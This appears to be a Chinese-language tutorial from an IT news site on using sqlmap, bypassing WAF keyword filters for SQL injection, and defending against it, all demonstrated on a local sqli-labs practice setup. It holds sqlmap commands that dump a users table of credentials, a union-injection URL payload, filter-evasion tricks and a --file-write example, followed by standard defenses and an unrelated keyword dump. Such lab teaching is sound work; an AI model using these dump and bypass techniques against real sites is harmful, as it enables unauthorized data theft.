千家信息网

如何分析SQLMap和SQLi注入防御

发表于:2025-02-23 作者:千家信息网编辑
千家信息网最后更新 2025年02月23日,今天就跟大家聊聊有关如何分析SQLMap和SQLi注入防御,可能很多人都不太了解,为了让大家更加了解,小编给大家总结了以下内容,希望大家根据这篇文章可以有所收获。第一部分:Sqlmap使用1.1 sq
千家信息网最后更新 2025年02月23日如何分析SQLMap和SQLi注入防御

今天就跟大家聊聊有关如何分析SQLMap和SQLi注入防御,可能很多人都不太了解,为了让大家更加了解,小编给大家总结了以下内容,希望大家根据这篇文章可以有所收获。

第一部分:Sqlmap使用

1.1 sqlmap介绍

1. 前边说了一些sql注入的基础语句,但是手工注入很麻烦,我们可以借助sqlmap这个强大的sql注入工具,进行数据的获取.

2. sqlmap介绍

(1)#sqlmap是一种开源的渗透测试工具,可以自动检测和利用SQL注入漏洞以及
接入该数据库的服务器。它拥有非常强大的检测引擎、具有多种特性的渗透测试器、通过数据库指纹提取访问底层文件系统并通过外带连接执行命令。

官方网站: sqlmap.org

(2)#支持的数据库:
MySQL,Oracle, PostgreSQL, Microsoft SQL Server, Microsoft
Access, IBM DB2, SQLite, Firebird, Sybase and SAP MAXDB。

(3)#支持多种注入方式

#UNION query SQL injection(可联合查询注入)
#Error-based SQL injection(报错型注入)
#Boolean-based blind SQL injection(布尔型注入)
#Time-based blind SQL injection(基于时间延迟注入)
#Stacked queries SQL injection(可多语句查询注入)

1.2 sqlmap安装和环境搭建

1.sqlmap安装主要步骤

(1)安装python环境--->sqlmap需要python环境

python下载地址: https://www.python.org/downloads/release/python-2715/)

sqlmap跟Python2.X版本兼容比较好.(python的安装步骤直接下一步即可,需要修改的就是sqlmap的安装路径,这里改成了C:\Users\Administrator\python,为了直接命令行可以进入sqlmap目录更方便操作)

(2)Python安装不要安装到中文路径下,并把Python添加到环境变量中.

(3)下载并安装sqlmap,修改安装目录为C:\Users\Administrator\sqlmap

(4)测试python环境: 进入cmd命令行,输入python,如下提示则安装成功

C:\Users\Administrator>python
Python 2.7.16 (v2.7.16:413a49145e, Mar 4 2019, 01:37:19) [MSC v.1500 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license" for more information.

>>> exit();

(5)sqlmap测试: 进入cmd命令行,输入sqlmap.py -h (注意路径)

C:\Users\Administrator\sqlmap>sqlmap.py -h #查看帮助信息

1.3 sqlmap常用参数

#(1)获取库名,列名,权限

  • --dbs #获取所有数据库

  • --dbms mysql #指定数据库类型

  • --users #所有数据库用户(数据库本地用户名)

  • --passwords #获取数据库密码,(有权限才能读取)

  • --technique #指定使用哪种注入类型

  • --current-db #当前数据库

  • --banner #获取数据库标识

  • -D database_name --tables #-D用于指定数据,--tables获取某个库下的表

  • -D database_name -T table_name --columns #-T指定表名,--columns获取列字段

  • -D database_name -T table_name -C column_1,column_2 --dump
    #-C指定字段名,--dump显示结果

  • --users #列数据库管理用户,当前用户有权限读取包含所有用户的表的权限时,就可以列出所有管理用户。

  • --current-user #在大多数据库中可以获取到管理数据的用户。

  • --is-dba #判断当前的用户是否为管理,是的话会返回True。

  • --privileges #当前用户有权限读取包含所有用户的表的权限时,很可能列举出每个用户的权限,sqlmap将会告诉你哪个是数据库的超级管理员。也可以用-U参 数指定你想看那个用户的权限。

  • --proxy #指定一个代理服务器 eg: -proxy http://local:8080

#(2)指定前后缀:

  • #sqlmap不能探测很多的干扰字符,闭合时可以手工指定前缀和后缀

  • select * from users where id=((('1'))) and 1=1

  • #--prefix=PREFIX 注入payload字符串前缀

  • #-suffix=SUFFIX 注入payload字符串后缀
    eg:sqlmap -u "www.target.com/index.php?id=1" -p id --prefix "'))"
    --suffix "AND ('1'='1"

#(3)导出结果:

  • sqlmap -u "www.a.com/1.php?id=1" --file-write="d:/1.txt"

  • --file-dest="E:/wwwroot/web/one.php"

  • --batch 全自动

  • --start=开始条数 --stop=结束条数

  • --dump 导出数据

  • --dump-all 导出所有数据

  • --purge-output/ --purge 清空缓存目录

  • --sql-shell 反弹sqlshell,类似于sql查询分析器 默认路径.sqlmap (点sqlmap)

1.4 sqlmap实战举例

#Less-1--Less65通用语句(这几句是最常用的几个参数,必会型)

#(1)获取所有库名
C:\Users\Administrator\sqlmap>python sqlmap.py -u "http://localhost/sqli/Less-1?id=1" --dbs --dbms=mysql --batch

#解析:

-u 后加url,表示测试的url

--dbs表示获取所有数据库

--dbms表示指定数据库类型为mysql

--batch表示自动获取

-D security --tables 表示获取指定数据库为security 的表名

-D security -T users --columns 表示获取指定数据库为security里users表中的列名

-D security -T users -C username,password --dump #获取security库,users表中username和password字段的数据信息,--dump表示显示结果

#结果:
[*] challenges
[*] dvwa
[*] information_schema
[*] mysql
[*] owasp
[*] performance_schema
[*] security
[*] test

#(2)获取当前库名
C:\Users\Administrator\sqlmap>python sqlmap.py -u "http://localhost/sqli/Less-1?id=1" --current-db --batch
#结果:
current database: 'security'

#(3)获取当前表名
C:\Users\Administrator\sqlmap>python sqlmap.py -u "http://localhost/sqli/Less-1?id=1" -D security --tables --batch

#结果:
Database: security
[4 tables]
+----------+
| emails |
| referers |
| uagents |
| users |
+----------+


#(4)获取当前列名
C:\Users\Administrator\sqlmap>python sqlmap.py -u "http://localhost/sqli/Less-1?id=1" -D security -T users --columns --batch

#结果:
Database: security
Table: users
[3 columns]
+----------+-------------+
| Column | Type |
+----------+-------------+
| id | int(3) |
| password | varchar(20) |
| username | varchar(20) |
+----------+-------------+

#(5)获取users表中username和password内容
C:\Users\Administrator\sqlmap>python sqlmap.py -u "http://localhost/sqli/Less-1?id=1" -D security -T users -C username,password --dump --batch

#结果:
Database: security
Table: users
[13 entries]
+----------+------------+
| username | password |
+----------+------------+
| Dumb | Dumb |
| Angelina | I-kill-you |
| Dummy | p@ssword |
| secure | crappy |
| stupid | stupidity |
| superman | genious |
| batman | mob!le |
| admin | admin |
| admin1 | admin1 |
| admin2 | admin2 |
| admin3 | admin3 |
| dhakkan | dumbo |
| admin4 | admin4 |
+----------+------------+

第二部分:sqli注入之waf绕过

2.1 SQL注入之waf绕过方法介绍

说明:这里仅举例说明绕过方式,实际场景则更加复杂. 多种绕过方式可以混合使用,还可以进行编码.

1.前边知道了sql注入的方式后,如何才能防止sql注入呢?

  • #(1)过滤注释符

  • #(2)过滤and或or

  • #(3)过滤select或union

  • #(4)过滤黑名单

2.过滤了and/or绕过方式有哪些?

  • #(1)mysql中大小写不敏感,都可以正确执行;===>使用大小写变形

  • #(2)mysql支持十六进制,用16进制或用URL编码;

  • #(3)用符号替换单词 ===>符号绕过 and(&&) or(||)

  • #(4)内联注释和多行注释===>在敏感词汇中添加注释a/**/nd 双写绕过oORr

3.当然还有其他方法,我们以这几种过滤方式为例,来说说如何绕过.

真实场景中有waf设备,waf其实也是通过过滤一些关键字来防止sql注入的.

2.2 sql注入之绕过waf实验

1.过滤了注释符(Less-23为例)

#(1)过滤注释符的原因:对于正常的SQL语句中,注释符起到说明作用的功能。但是对于在利用SQL注入漏洞过程中,注释符起到闭合 单引号、多单引号、双引号、单括号、多括号的功能。
单行注释: --+ 或 --空格 或 #
多行注释: /* 多行注释内容 */

#(2)过滤函数preg_replace
preg_replace(mixed $pattern , mixed $replacement , mixed $subject):执行一个正则表达式的搜索和替换。
$pattern: 要搜索的模式,可以是字符串或一个字符串数组
$replacement: 用于替换的字符串或字符串数组。
$subject: 要搜索替换的目标字符串或字符串数组。

#(3)绕过注释符:
利用注释符过滤不能成功闭合单引号等,换一种思路 利用 or '1'='1闭合单引号等。
http://127.0.0.1/sqli/Less-23/?id=-1%27%20union%20select%201,database(),%273

2.过滤了and或or应该如何绕过?(Less-25为例)

(1)源码分析:可以看到把or或and替换为了空

(2)操作步骤

3.过滤了空格应该如何绕过?(Less-26为例)

(1)用%0a来充当空格

4.过滤了select/union该如何绕过?(Less-27为例)

第三部分:sqli注入防御

3.1 sql注入防御方法

1.常用防护措施:

#(1)、关闭错误提示: PHP配置文件php.ini中的display_errors=Off
#(2)、魔术引号(与addslashes的效果相同):当php.ini里的magic_quotes_gpc=On时。提交的变量中所有的单引号(')、双引号(")、反斜线(\)与 NUL(NULL 字符)会自动转为含有反斜线的转义字符
#(3)、对数据进行过滤:比如过滤掉and/or/union等常用关键词
#(4)、控制连接数据库的用户权限:每个库针对单个库设置一个管理员,不要用root权限.
#(5)、预处理和参数化(PDO):处理用户传入的参数,返回布尔值,不是单纯的对数据进行"拼接",从而避免sql注入.
#(6)、硬件防护措施(WAF等硬件)

看完上述内容,你们对如何分析SQLMap和SQLi注入防御有进一步的了解吗?如果还想了解更多知识或者相关内容,请关注行业资讯频道,感谢大家的支持。

数据 数据库 用户 注释 字符 权限 字符串 引号 结果 方式 管理 内容 环境 测试 分析 防御 参数 命令 常用 语句 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 如何下载电脑上的我的世界服务器 怎么监视数据库的连接池 网络安全保密文件 数据库安全管理语言 新寻仙怀旧版是什么服务器 财政局网络安全知识培训 台州微趣网络技术有限公司 odoo从数据库取值 宁夏联想服务器虚拟化优势 sql数据库主要干什么的 118服务器配置 泛微服务器维修公司地址电话 软件开发是什么职业类别 提取网页中多张表格数据库 中职计算机网络技术一二章 福建高科技软件开发口碑推荐 陕西手机软件开发技术 纬领网络安全研究院李彦江 互联网是科技革命的产物 怎么删掉数据库手机 网络安全常驻心PPT 国信天宇网络技术 逍遥叹伴奏软件开发 荣耀手机属于什么服务器 数据库技术与应用经典读后感 无线网络技术带来的核心优势 珠海软件开发公司上班视频 武汉未来科技城互联网公司 服务器拆分多个独立桌面 软件开发的发布与推广
0